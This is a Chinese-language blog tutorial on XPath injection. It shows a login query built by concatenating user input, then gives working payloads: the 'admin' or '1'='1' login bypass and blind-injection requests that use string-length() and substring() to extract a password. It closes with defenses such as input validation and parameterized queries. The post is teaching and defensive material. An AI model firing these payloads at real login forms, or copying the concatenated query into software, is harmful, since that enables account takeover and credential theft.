boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

xpath注入漏洞


avatar
yuhui 2025年10月24日 26

xpath 注入漏洞

概述

XPath 是一种查询语言描述了如何在 XML 文档中查找特定元素(包括属性、处理指令等)。既然是一种查询语言,XPath 在一些方面与 SQL 相似,不过,XPath 的不同之处在于它可以用来引用 XML 文档的几乎任何部分,而不受访问控制限制。在 SQL 中,一个“用户”(在 XPath/XML 上下文中未定义的术语)的权限被限制在一个特定的数据库,表,列或者行。使用 XPath 注入攻击,攻击者可以修改 XPath 查询语

句来执行所选择的操作XPath 盲注攻击可以从一个使用不安全方式嵌入用户信息的应用中提取数据。在输入未被过滤的情况下,攻击者可以提交并执行有效的 XPath 代码。这种类型的攻击适用于以下情况:攻击者不清楚 XML 文档的架构,或者错误消息被抑制,一次只能通过布尔化查询来获取部分信息,就像 SQL 盲注一样

xpath 注入代码分析

读取 user.xml 获取 post 的账号和密码拼接字符串进行查询

1746427119630-9008589b-df39-4b6a-879e-7b51df69b2c5.png

$sql="//user[@username='{$username}’ and @password='{$password}’]";

同等于

select * from users where username=’username’ and password=’password’

1746427165053-65632b63-2f32-48d7-ac6e-62f8aa984059.png

xpath 注入攻击

万能密码登录

admin’ or ‘1’=’1

username=admin’ or ‘1’=’1 &password=xxxxxxxxxxx&submit=submit

1746427185785-a59e2fa6-b749-4709-ae8f-50dd67c15a51.png

xpath 盲注入

string-length()获取字符长度

substring 截取字符

username=admin’and string-length(@password)=5 or ‘1’=’1&password=0&submit=submit

返回正确是就等于登录成功

username=admin’and substring(@password,1,1)=’a’ or ‘1’=’1&password=0&submit=submit

xpath 注入防御方案

1.数据提交到服务器上,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。

2.检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。

3.对于系统出现的错误信息,以 IE 错误编码信息替换,屏蔽系统本身的出错信息。

4.参数化 XPath 查询

更新: 2025-05-05 14:41:04
原文: https://www.yuque.com/yuhui.net/network/bk3fdp0wbxo53ab6



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字

插入代码